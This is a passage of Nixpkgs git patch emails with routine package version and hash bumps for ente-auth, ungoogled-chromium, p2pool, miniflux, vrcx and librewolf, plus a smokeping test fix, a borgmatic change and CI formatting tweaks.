+        ${toString ../meta-maintainers.nix} = [
+          lib.maintainers.pierron
+          lib.maintainers.roberth
+        ];
+        "eelco.nix" = [ lib.maintainers.eelco ];
+      };
+    { };
+
+}
+.test

From 15bc3339fe34120a3ba2f5912b8b64865c85d96f Mon Sep 17 00:00:00 2001
From: botnk <github-botnk@korz.dev>
Date: Thu, 21 Aug 2025 01:40:53 +0000
Subject: [PATCH 3791/4511] ente-auth: 4.4.3 -> 4.4.4

Changelog: https://github.com/ente-io/ente/releases/tag/auth-v4.4.4
(cherry picked from commit 25a2995ae1e4d81cdc4e8cbb46fc91a3ab319608)
---
 pkgs/by-name/en/ente-auth/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/en/ente-auth/package.nix b/pkgs/by-name/en/ente-auth/package.nix
index 8e42f2df491e..d76b94b09ac6 100644
--- a/pkgs/by-name/en/ente-auth/package.nix
+++ b/pkgs/by-name/en/ente-auth/package.nix
@@ -18,14 +18,14 @@ let
 in
 flutter324.buildFlutterApplication rec {
   pname = "ente-auth";
-  version = "4.4.3";
+  version = "4.4.4";
 
   src = fetchFromGitHub {
     owner = "ente-io";
     repo = "ente";
     sparseCheckout = [ "mobile/apps/auth" ];
     tag = "auth-v${version}";
-    hash = "sha256-6LTGmSCMlLynYtYCsJiALsRMm9vLUD9HaGnfHu0r6Rw=";
+    hash = "sha256-VpxF6BMofCgMWcxsscbYC3uYse0QZyTBf84zN03leC4=";
   };
 
   sourceRoot = "${src.name}/mobile/apps/auth";

From 457318865ad62249d959582e1cee336a89cec00f Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Thu, 21 Aug 2025 11:35:30 +0200
Subject: [PATCH 3792/4511] ungoogled-chromium: 139.0.7258.127-1 ->
 139.0.7258.138-1

https://chromereleases.googleblog.com/2025/08/stable-channel-update-for-desktop_19.html

This update includes 1 security fix.

CVEs:
CVE-2025-9132

(cherry picked from commit 6c474a271b343851212ec371271118a135bdff33)
---
 .../networking/browsers/chromium/info.json    | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index ade268080de3..c7e26d4620ab 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "139.0.7258.127",
+    "version": "139.0.7258.138",
     "deps": {
       "depot_tools": {
         "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
@@ -813,16 +813,16 @@
         "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
       },
       "ungoogled-patches": {
-        "rev": "139.0.7258.127-1",
-        "hash": "sha256-CdzvDG4ZGRHVnRsLUDD8gWLzcwJJAqEZdEraqVYgs2U="
+        "rev": "139.0.7258.138-1",
+        "hash": "sha256-dmkUQHG9E0owKBIZi/e0mC5lc07rmU1muzP63PLdtTs="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "5dc2cf9cf870d324cd9fba708f26d2572cc6d4d8",
-        "hash": "sha256-YcOVErOKKruc3kPuXhmeibo3KL+Rrny1FEwF769+aEU=",
+        "rev": "884e54ea8d42947ed636779015c5b4815e069838",
+        "hash": "sha256-MCBHB1ms3H8AXqiIDHH7C+8/NDcgsn3pDx7mKtGdfbc=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -897,8 +897,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "5f3636345f1d8afd495e2fcc474fd81e91c4866b",
-        "hash": "sha256-fx+QD0T85Js9jPQx2aghJU8UOL6WbR0bOkGY2i87A3w="
+        "rev": "96492b317e27ba4106ed00f5faa4534cfeaa0b8f",
+        "hash": "sha256-TE8vYLNnAzVkGQZ2ZYuNHnu8fwp2Qv4ANP0btgrKYSQ="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -1432,8 +1432,8 @@
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "2d6f1aa4be9c33b013c322b2bc9cd99a682243b6",
-        "hash": "sha256-VysJkpCRRYNdCStnXvo6wyMCv1gLHecMwefKiwypARc="
+        "rev": "4abe0638e35d34b6fdb70f1f5ce0f0e1879a021e",
+        "hash": "sha256-hy06/Sy+rEzNyFv9R2Kg9kX7XIpCbQwCr5VjEH9CtKM="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "505ec917b67c535519bebec58c62a34f145dd49f",
-        "hash": "sha256-fsf8j2Spe++vSnuO8763eWWmMhYqcyybpILb7OkkXq4="
+        "rev": "4d36678284f92d381f411c7947588d7a09989ca4",
+        "hash": "sha256-X5k2R7/sS3/C2S5hC1ILSquWjnPol3Pk+xe1suzgnFs="
       }
     }
   }

From 09a3e3cf18554bf85e72f78e4a9a42848c90daef Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 21 Aug 2025 09:22:15 +0200
Subject: [PATCH 3793/4511] ci/nixpkgs-vet: use Nix 2.30+ inside sandbox

This should fix the random symlink creation errors.

(cherry picked from commit 067ca97d1de354ad6079892e90fc597cbfcc5614)
---
 ci/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/ci/default.nix b/ci/default.nix
index 0aeb2356e9ae..9be9aa93aea7 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -134,7 +134,9 @@ rec {
   manual-nixos = (import ../nixos/release.nix { }).manual.${system} or null;
   manual-nixpkgs = (import ../doc { inherit pkgs; });
   manual-nixpkgs-tests = (import ../doc { inherit pkgs; }).tests;
-  nixpkgs-vet = pkgs.callPackage ./nixpkgs-vet.nix { };
+  nixpkgs-vet = pkgs.callPackage ./nixpkgs-vet.nix {
+    nix = pkgs.nixVersions.latest;
+  };
   parse = pkgs.lib.recurseIntoAttrs {
     latest = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.latest; };
     lix = pkgs.callPackage ./parse.nix { nix = pkgs.lix; };

From 9971d819cb5cdf9bbf30cd051909bcd1635337fa Mon Sep 17 00:00:00 2001
From: Willy <jemand771@gmx.net>
Date: Wed, 20 Aug 2025 16:40:32 +0200
Subject: [PATCH 3794/4511] nixosTests.prometheus-exporters.smokeping: fix test
 after 0.10.0

prometheus-smokeping-prober was updated to 0.10.0 in #396980
which introduced a new label `tos` in its metrics.
add it to the failing tests to make them match
the expected metric (and pass) again

you could argue that the tests are a bit too greedy with the way
they match metrics, but I actually like it that way

(cherry picked from commit 2103ba26886f3e2ac531cdea072d673f3e0ffed3)
---
 nixos/tests/prometheus-exporters.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/prometheus-exporters.nix b/nixos/tests/prometheus-exporters.nix
index ef356dbc7bb1..bb1187cdabc7 100644
--- a/nixos/tests/prometheus-exporters.nix
+++ b/nixos/tests/prometheus-exporters.nix
@@ -1546,12 +1546,12 @@ let
         wait_for_open_port(9374)
         wait_until_succeeds(
             "curl -sSf localhost:9374/metrics | grep '{}' | grep -v ' 0$'".format(
-                'smokeping_requests_total{host="127.0.0.1",ip="127.0.0.1",source=""} '
+                'smokeping_requests_total{host="127.0.0.1",ip="127.0.0.1",source="",tos="0"} '
             )
         )
         wait_until_succeeds(
             "curl -sSf localhost:9374/metrics | grep '{}'".format(
-                'smokeping_response_ttl{host="127.0.0.1",ip="127.0.0.1",source=""}'
+                'smokeping_response_ttl{host="127.0.0.1",ip="127.0.0.1",source="",tos="0"}'
             )
         )
       '';

From 34dcdeb6b2d34f1e3ddd660c9d65c0012fdc1738 Mon Sep 17 00:00:00 2001
From: 06kellyjac <dev@j-k.io>
Date: Thu, 21 Aug 2025 11:34:10 +0100
Subject: [PATCH 3795/4511] p2pool: 4.9 -> 4.9.1

Diff: https://github.com/SChernykh/p2pool/compare/v4.9...v4.9.1
(cherry picked from commit 393ea6294057bf7b78b31d1d7455f9338d2e3bba)
---
 pkgs/by-name/p2/p2pool/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index 05101533cef1..2eb8266ac226 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "p2pool";
-  version = "4.9";
+  version = "4.9.1";
 
   src = fetchFromGitHub {
     owner = "SChernykh";
     repo = "p2pool";
     rev = "v${version}";
-    hash = "sha256-nFoR5n6vm6Q1UBxX+3U6O6NExcrM1Mab+WjEOgRSKCE=";
+    hash = "sha256-jjY/+ZS7UYecHTQT93WAUZYYc+CZpG4Vbotmsq65un0=";
     fetchSubmodules = true;
   };
 

From 16b10ccd8b0828681215c08803335b50f29fa4b5 Mon Sep 17 00:00:00 2001
From: 06kellyjac <dev@j-k.io>
Date: Thu, 21 Aug 2025 11:44:39 +0100
Subject: [PATCH 3796/4511] p2pool: move to finalAttrs pattern

(cherry picked from commit 3cdf0139ca45397f98c54f960b0e2874b666ad9b)
---
 pkgs/by-name/p2/p2pool/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index 2eb8266ac226..3c6c145586fa 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -14,14 +14,14 @@
   zeromq,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "p2pool";
   version = "4.9.1";
 
   src = fetchFromGitHub {
     owner = "SChernykh";
     repo = "p2pool";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-jjY/+ZS7UYecHTQT93WAUZYYc+CZpG4Vbotmsq65un0=";
     fetchSubmodules = true;
   };
@@ -66,4 +66,4 @@ stdenv.mkDerivation rec {
     platforms = platforms.all;
     broken = stdenv.hostPlatform.isDarwin;
   };
-}
+})

From 85baa458e04cfb136adde8b610d8614972ff6189 Mon Sep 17 00:00:00 2001
From: 06kellyjac <dev@j-k.io>
Date: Thu, 21 Aug 2025 11:48:37 +0100
Subject: [PATCH 3797/4511] p2pool: reduce usage of `with lib;`

(cherry picked from commit a2e17a2f14144acf65d45b47f2c1c37bbfa7a410)
---
 pkgs/by-name/p2/p2pool/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index 3c6c145586fa..54ce621c1a58 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -54,16 +54,16 @@ stdenv.mkDerivation (finalAttrs: {
     updateScript = nix-update-script { };
   };
 
-  meta = with lib; {
+  meta = {
     description = "Decentralized pool for Monero mining";
     homepage = "https://github.com/SChernykh/p2pool";
-    license = licenses.gpl3Only;
-    maintainers = with maintainers; [
+    license = lib.licenses.gpl3Only;
+    maintainers = with lib.maintainers; [
       ratsclub
       JacoMalan1
     ];
     mainProgram = "p2pool";
-    platforms = platforms.all;
+    platforms = lib.platforms.all;
     broken = stdenv.hostPlatform.isDarwin;
   };
 })

From 2c3773b88cc924035d7affcaaa3c9e172bd5d857 Mon Sep 17 00:00:00 2001
From: 06kellyjac <dev@j-k.io>
Date: Thu, 21 Aug 2025 11:48:53 +0100
Subject: [PATCH 3798/4511] p2pool: add jk to maintainers

(cherry picked from commit 236708037769206fea8b6dbd32086fd6f539224a)
---
 pkgs/by-name/p2/p2pool/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index 54ce621c1a58..234466f9006b 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -61,6 +61,7 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = with lib.maintainers; [
       ratsclub
       JacoMalan1
+      jk
     ];
     mainProgram = "p2pool";
     platforms = lib.platforms.all;

From 7267b548ae7aa940afec52c79d393a98cae23475 Mon Sep 17 00:00:00 2001
From: Ameer Taweel <ameertaweel2002@gmail.com>
Date: Thu, 21 Aug 2025 18:31:56 +0300
Subject: [PATCH 3799/4511] miniflux: 2.2.11 -> 2.2.12

(cherry picked from commit bc5fb55954158dfa5ea9b5741c6bb93f611bfcc1)
---
 pkgs/by-name/mi/miniflux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/miniflux/package.nix b/pkgs/by-name/mi/miniflux/package.nix
index 4a9ea40bd4cf..f9214e1561ee 100644
--- a/pkgs/by-name/mi/miniflux/package.nix
+++ b/pkgs/by-name/mi/miniflux/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "miniflux";
-  version = "2.2.11";
+  version = "2.2.12";
 
   src = fetchFromGitHub {
     owner = "miniflux";
     repo = "v2";
     tag = version;
-    hash = "sha256-0gheLIwokJWanCOU1gWFyY6KBLqX+02plSp+iLHxd/Y=";
+    hash = "sha256-DeSNI2GFqRF4jdfly44nohCPE4vOXKSaaCkHgKwS4Vs=";
   };
 
-  vendorHash = "sha256-hBvMAPmoGbxz3bV1NCA5nuNC7yv8v8h19pWCispLV3c=";
+  vendorHash = "sha256-bMm2U+4pzafMD2BoRVbwEkzixOgWqw5eGAmw+OCJ9kQ=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From be59626a3a6cbfa89e1a5dad1461148c13a8533d Mon Sep 17 00:00:00 2001
From: "[Assassin]" <ShyAssassin@assassin.dev>
Date: Thu, 21 Aug 2025 01:25:50 +0200
Subject: [PATCH 3800/4511] vrcx: 2025.06.30 -> 2025.08.17

(cherry picked from commit ba3232ef1324422213f1635a08d2500a9c27d572)
---
 pkgs/by-name/vr/vrcx/deps.json   | 69 ++++++++++----------------------
 pkgs/by-name/vr/vrcx/package.nix | 16 ++++----
 2 files changed, 31 insertions(+), 54 deletions(-)

diff --git a/pkgs/by-name/vr/vrcx/deps.json b/pkgs/by-name/vr/vrcx/deps.json
index 50b31b992525..38b526ba576f 100644
--- a/pkgs/by-name/vr/vrcx/deps.json
+++ b/pkgs/by-name/vr/vrcx/deps.json
@@ -1,8 +1,8 @@
 [
   {
     "pname": "DiscordRichPresence",
-    "version": "1.3.0.28",
-    "hash": "sha256-KdwSl5ysunAbC21cXRrSROO2XN/ZscIVdq6+IH+5Fbs="
+    "version": "1.5.0.51",
+    "hash": "sha256-ZfyXXsJ7c8u0EAfKjquv/pAL3ZajKLnVIJWADQYJ6wI="
   },
   {
     "pname": "EntityFramework",
@@ -51,13 +51,13 @@
   },
   {
     "pname": "Microsoft.JavaScript.NodeApi",
-    "version": "0.9.11",
-    "hash": "sha256-1F2lG7ePVKy9QXMt76AWf64zj5o9upVik3//AqPaw7U="
+    "version": "0.9.13",
+    "hash": "sha256-zXNmEg6txPXXD3yLHMWlziPgbDsNCLQcmqxO0pU8OCY="
   },
   {
     "pname": "Microsoft.JavaScript.NodeApi.Generator",
-    "version": "0.9.11",
-    "hash": "sha256-WAunMB3ksE0trHmohr+fTxGXiYNd553PUJoDaOSmLxo="
+    "version": "0.9.13",
+    "hash": "sha256-tgWN7EHgXwHvV5f1xXOvaXBVjeM+LfRyhPv7N9625N0="
   },
   {
     "pname": "Microsoft.NETCore.Platforms",
@@ -69,11 +69,6 @@
     "version": "1.1.1",
     "hash": "sha256-8hLiUKvy/YirCWlFwzdejD2Db3DaXhHxT7GSZx/znJg="
   },
-  {
-    "pname": "Microsoft.NETCore.Platforms",
-    "version": "2.0.0",
-    "hash": "sha256-IEvBk6wUXSdyCnkj6tHahOJv290tVVT8tyemYcR0Yro="
-  },
   {
     "pname": "Microsoft.NETCore.Platforms",
     "version": "2.1.2",
@@ -104,11 +99,6 @@
     "version": "4.3.0",
     "hash": "sha256-mBNDmPXNTW54XLnPAUwBRvkIORFM7/j0D0I2SyQPDEg="
   },
-  {
-    "pname": "Microsoft.Win32.Registry",
-    "version": "4.5.0",
-    "hash": "sha256-WMBXsIb0DgPFPaFkNVxY9b9vcMxPqtgFgijKYMJfV/0="
-  },
   {
     "pname": "Microsoft.Win32.Registry",
     "version": "4.7.0",
@@ -116,8 +106,8 @@
   },
   {
     "pname": "Microsoft.Win32.SystemEvents",
-    "version": "9.0.6",
-    "hash": "sha256-iIS1YZ8X8Zfahg2jOW3ODCZwmSSsp96epu+kT+wieQg="
+    "version": "9.0.7",
+    "hash": "sha256-7o59Y4Wy9EsTlcNVCNuweR/7Y7QlbB6MwK/aHGax3F4="
   },
   {
     "pname": "NETStandard.Library",
@@ -136,8 +126,8 @@
   },
   {
     "pname": "NLog",
-    "version": "5.5.0",
-    "hash": "sha256-WkuKGo3iEqJruQuRZXMksqIbAQjZbFIANcm0zZr/fYE="
+    "version": "6.0.2",
+    "hash": "sha256-sToQRwukDjUo3ytSmHXT5p4j6fTv1utHkQKeF48EWnQ="
   },
   {
     "pname": "runtime.any.System.Collections",
@@ -431,18 +421,13 @@
   },
   {
     "pname": "SixLabors.ImageSharp",
-    "version": "3.1.10",
-    "hash": "sha256-6bVTSCxLY8Dt+9lpo4F4xEtMv5oPve2vS76O/lcuIok="
-  },
-  {
-    "pname": "SixLabors.ImageSharp",
-    "version": "3.1.8",
-    "hash": "sha256-cE9BQfbCvJ0Mf+fQiTD8elOZEPcfZHjDz2BHdiO+D08="
+    "version": "3.1.11",
+    "hash": "sha256-MlRF+3SGfahbsB1pZGKMOrsfUCx//hCo7ECrXr03DpA="
   },
   {
     "pname": "SixLabors.ImageSharp.Drawing",
-    "version": "2.1.6",
-    "hash": "sha256-2VYoBw8XidjqFUS03EgxOq9vw/WRZjhF3z1pwfaSzUc="
+    "version": "2.1.7",
+    "hash": "sha256-LkStbMTvIPIXvkda4Xn1simHaH0mJHHuCI0+AaAS4/4="
   },
   {
     "pname": "sqlite-net-pcl",
@@ -491,8 +476,8 @@
   },
   {
     "pname": "System.CodeDom",
-    "version": "9.0.6",
-    "hash": "sha256-vcKv5qTborX8E4Uy7T/hqWRii35Icw1siDWPJenk9K8="
+    "version": "9.0.7",
+    "hash": "sha256-L54rUZDfqPwXDhA0C1t0wtxcFhFrDYowjjyn67+kvLM="
   },
   {
     "pname": "System.Collections",
@@ -576,8 +561,8 @@
   },
   {
     "pname": "System.Drawing.Common",
-    "version": "9.0.6",
-    "hash": "sha256-uQDdDVOu3G39PPa1SbE7bHfTzQBAGzL705UklWl/y2I="
+    "version": "9.0.7",
+    "hash": "sha256-GRiTUzguCr8o3V9whhoKvW16NCA08mdYO1rViJiDvvo="
   },
   {
     "pname": "System.Globalization",
@@ -631,8 +616,8 @@
   },
   {
     "pname": "System.Management",
-    "version": "9.0.6",
-    "hash": "sha256-dZ46TTekJCMfgfRsz6qjJpa0IzPxlm8XXyYmP6msNZY="
+    "version": "9.0.7",
+    "hash": "sha256-CRa1zZHzw1kq8tpFnncV45prHCfYRg8lTYdv0E+E+qw="
   },
   {
     "pname": "System.Memory",
@@ -789,11 +774,6 @@
     "version": "4.3.0",
     "hash": "sha256-P5jHCgMbgFMYiONvzmaKFeOqcAIDPu/U8bOVrNPYKqc="
   },
-  {
-    "pname": "System.Security.AccessControl",
-    "version": "4.5.0",
-    "hash": "sha256-AFsKPb/nTk2/mqH/PYpaoI8PLsiKKimaXf+7Mb5VfPM="
-  },
   {
     "pname": "System.Security.AccessControl",
     "version": "4.7.0",
@@ -859,11 +839,6 @@
     "version": "4.3.0",
     "hash": "sha256-mbdLVUcEwe78p3ZnB6jYsizNEqxMaCAWI3tEQNhRQAE="
   },
-  {
-    "pname": "System.Security.Principal.Windows",
-    "version": "4.5.0",
-    "hash": "sha256-BkUYNguz0e4NJp1kkW7aJBn3dyH9STwB5N8XqnlCsmY="
-  },
   {
     "pname": "System.Security.Principal.Windows",
     "version": "4.7.0",
@@ -886,8 +861,8 @@
   },
   {
     "pname": "System.Text.Json",
-    "version": "9.0.6",
-    "hash": "sha256-WC/QbZhTaoZ3PbDKcFvJwMIA4xLUdnMrAXGlOW87VNY="
+    "version": "9.0.7",
+    "hash": "sha256-f3leKX3r7JoUbKo6tnuIsPVYJHNbElHWffhyqk1+2C0="
   },
   {
     "pname": "System.Text.RegularExpressions",
diff --git a/pkgs/by-name/vr/vrcx/package.nix b/pkgs/by-name/vr/vrcx/package.nix
index a74442d1fd93..c968e75579e6 100644
--- a/pkgs/by-name/vr/vrcx/package.nix
+++ b/pkgs/by-name/vr/vrcx/package.nix
@@ -4,7 +4,7 @@
   buildDotnetModule,
   dotnetCorePackages,
   buildNpmPackage,
-  electron_36,
+  electron_37,
   makeWrapper,
   copyDesktopItems,
   makeDesktopItem,
@@ -12,16 +12,16 @@
 }:
 let
   pname = "vrcx";
-  version = "2025.06.30";
+  version = "2025.08.17";
   dotnet = dotnetCorePackages.dotnet_9;
-  electron = electron_36;
+  electron = electron_37;
 
   src = fetchFromGitHub {
     owner = "vrcx-team";
     repo = "VRCX";
-    # v2025.06.30 tag didn't bump the version
-    rev = "4a630079d778069293a39e5b7f7fdb3f543590da";
-    hash = "sha256-GBSkwfi9uvmBg3crnE9CYKDWzekrPjhSq9kDJzmf3bM=";
+    # v2025.08.17 tag didn't bump the version
+    rev = "fa10af8acaef6ca23866cee6fc80b1b0b0038ca5";
+    hash = "sha256-j/NGym4tGcazDcWtiPqxHbBCbHCkkuysd+cMUPAj6Rc=";
   };
 
   backend = buildDotnetModule {
@@ -46,7 +46,7 @@ in
 buildNpmPackage {
   inherit pname version src;
 
-  npmDepsHash = "sha256-x84l1+gRH2qADofYwyrEOeE4WJwqTqVB0L3JRxbscmM=";
+  npmDepsHash = "sha256-aFbdQhH8lQ/R+o4lCoqVc2nPJnxmNEFjR4MnqWKP32g=";
   npmFlags = [ "--ignore-scripts" ];
   makeCacheWritable = true;
 
@@ -58,6 +58,8 @@ buildNpmPackage {
   buildPhase = ''
     runHook preBuild
 
+    # need to run vue-demi postinstall for pinia
+    node ./node_modules/vue-demi/scripts/postinstall.js
     env PLATFORM=linux npm exec webpack -- --config webpack.config.js --mode production
     node src-electron/patch-package-version.js
     npm exec electron-builder -- --dir \

From 55ce6a8344befbee9c4b36df2d3c565a07f223d4 Mon Sep 17 00:00:00 2001
From: Brendan Taylor <bct@diffeq.com>
Date: Wed, 4 Jun 2025 10:05:58 -0600
Subject: [PATCH 3801/4511] nixos/borgmatic: do not use pg_dumpall when a
 format is set (#413251)

(cherry picked from commit d0be8ff24246bb5101b4c1f5cf451f99bf2650de)
---
 nixos/modules/services/backup/borgmatic.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/backup/borgmatic.nix b/nixos/modules/services/backup/borgmatic.nix
index f2f35f97d0dd..c6e0a1db048c 100644
--- a/nixos/modules/services/backup/borgmatic.nix
+++ b/nixos/modules/services/backup/borgmatic.nix
@@ -25,7 +25,7 @@ let
         in
         {
           pg_dump_command =
-            if d.name == "all" then
+            if d.name == "all" && (!(d ? format) || isNull d.format) then
               "${as_user}${postgresql}/bin/pg_dumpall"
             else
               "${as_user}${postgresql}/bin/pg_dump";

From 6c4086f5dac694239c814b87f86525860e08116f Mon Sep 17 00:00:00 2001
From: Dominic Wrege <dominic.wrege001@stud.fh-dortmund.de>
Date: Wed, 20 Aug 2025 22:59:44 +0200
Subject: [PATCH 3802/4511] librewolf-bin-unwrapped: 141.0.3-1 -> 142.0.1

firefox upstream release notes: https://www.firefox.com/en-US/firefox/142.0/releasenotes/

Security advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2025-64/

Fixes:

    CVE-2025-9179
    CVE-2025-9180
    CVE-2025-9181
    (CVE-2025-9186 Android-only)
    CVE-2025-9182
    CVE-2025-9183
    CVE-2025-9187
    CVE-2025-9184
    CVE-2025-9185

(cherry picked from commit 3c1ea317dce928d15610456d625ce9ffdd9417ec)
---
 pkgs/by-name/li/librewolf-bin-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
index 1f9c238d409e..acd5fa5bfc48 100644
--- a/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
+++ b/pkgs/by-name/li/librewolf-bin-unwrapped/package.nix
@@ -37,7 +37,7 @@ let
 
   pname = "librewolf-bin-unwrapped";
 
-  version = "141.0.3-1";
+  version = "142.0-1";
 in
 
 stdenv.mkDerivation {
@@ -47,9 +47,9 @@ stdenv.mkDerivation {
     url = "https://gitlab.com/api/v4/projects/44042130/packages/generic/librewolf/${version}/librewolf-${version}-${arch}-package.tar.xz";
     hash =
       {
-        i686-linux = "sha256-B3fTYNV6kHDo+Ae5r02oXIvcrzlnaZuOO/bAevjU3mk=";
-        x86_64-linux = "sha256-bIKqHQS4daqAQcbXHxLjWdK5MFrSg5ctzfhKe2OrO5c=";
-        aarch64-linux = "sha256-JPidpVXQ8DOwpmBUQn/aBJfydrUSfl6ekgnxCjL7Vgg=";
+        i686-linux = "sha256-2A5pSh2mKKhBiNgAoU4rvNxAm/XjhwZeeyCk6SSetdw=";
+        x86_64-linux = "sha256-dxGDR0Kb+InjCRCKdK6zBhn1qULdK1eQHf7/npPL58w=";
+        aarch64-linux = "sha256-u5eMu+o8Ne3Cvrc+HPv/hFunRpz1F/DOvxZDI65ux0A=";
       }
       .${stdenv.hostPlatform.system} or throwSystem;
   };

From 2c55a15c1e83956d54f0f63c9053b9505f92b1a8 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Thu, 21 Aug 2025 16:28:35 +0100
Subject: [PATCH 3803/4511] ci: reformat comment

Use one sentence per line.

(cherry picked from commit 1974b7e30c98d1dc1279c3ef4a801d7eb5a86c43)
---
 ci/default.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/ci/default.nix b/ci/default.nix
index 9be9aa93aea7..a38d2dae539e 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -60,8 +60,7 @@ let
 
         programs.keep-sorted.enable = true;
 
-        # This uses nixfmt underneath,
-        # the default formatter for Nix code.
+        # This uses nixfmt underneath, the default formatter for Nix code.
         # See https://github.com/NixOS/nixfmt
         programs.nixfmt.enable = true;
 

From cbb222390828a56246a002f0b6ee8d6a4121225e Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Thu, 21 Aug 2025 16:29:32 +0100
Subject: [PATCH 3804/4511] ci: explicitly define `programs.nixfmt.package`

Currently treefmt-nix is still defaulting `programs.nixfmt.package` to
the `nixfmt-rfc-style` alias. This makes sense, as they do not know for
certain which revision of nixpkgs is in use.

We do know, however, so we can explicitly use the non-alias name.

(cherry picked from commit e981b17a9626bf52de0867a5c42067704e10ad5c)
---
 ci/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/ci/default.nix b/ci/default.nix
index a38d2dae539e..6aa82cb716e5 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -62,7 +62,10 @@ let
 
         # This uses nixfmt underneath, the default formatter for Nix code.
         # See https://github.com/NixOS/nixfmt
-        programs.nixfmt.enable = true;
+        programs.nixfmt = {
+          enable = true;
+          package = pkgs.nixfmt;
+        };
 
         programs.yamlfmt = {
           enable = true;

From 13605ada4d475bd6c100ca2b1a75b1dd2c201ff6 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Thu, 21 Aug 2025 16:31:30 +0100
Subject: [PATCH 3805/4511] ci: disable aliases in CI's pkgs instance
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This ensures we don't accidentally use aliases in the nixpkgs shell or
other places that depend on the CI-pinned pkgs instance.

Nixpkgs generally — and CI specifically — do not use aliases, because we
want to ensure they are not load-bearing and can be removed safely.

See: https://github.com/NixOS/nixpkgs/blob/ce9979ec1c/pkgs/top-level/release-outpaths.nix#L28
(cherry picked from commit f646e56d7af1aded3eea109b949a4acdd925f307)
---
 ci/default.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/ci/default.nix b/ci/default.nix
index 6aa82cb716e5..da6e3f877e3b 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -17,7 +17,12 @@ let
     else
       nixpkgs;
 
-  pkgs = import nixpkgs' { inherit system; };
+  pkgs = import nixpkgs' {
+    inherit system;
+    # Nixpkgs generally — and CI specifically — do not use aliases,
+    # because we want to ensure they are not load-bearing.
+    allowAliases = false;
+  };
 
   fmt =
     let

From bfc38e76ca7b949d0c457367f2efab5ab452ab12 Mon Sep 17 00:00:00 2001
From: Maxwell Rupp <maxwell@giglab.dev>
Date: Thu, 21 Aug 2025 04:27:04 -0400
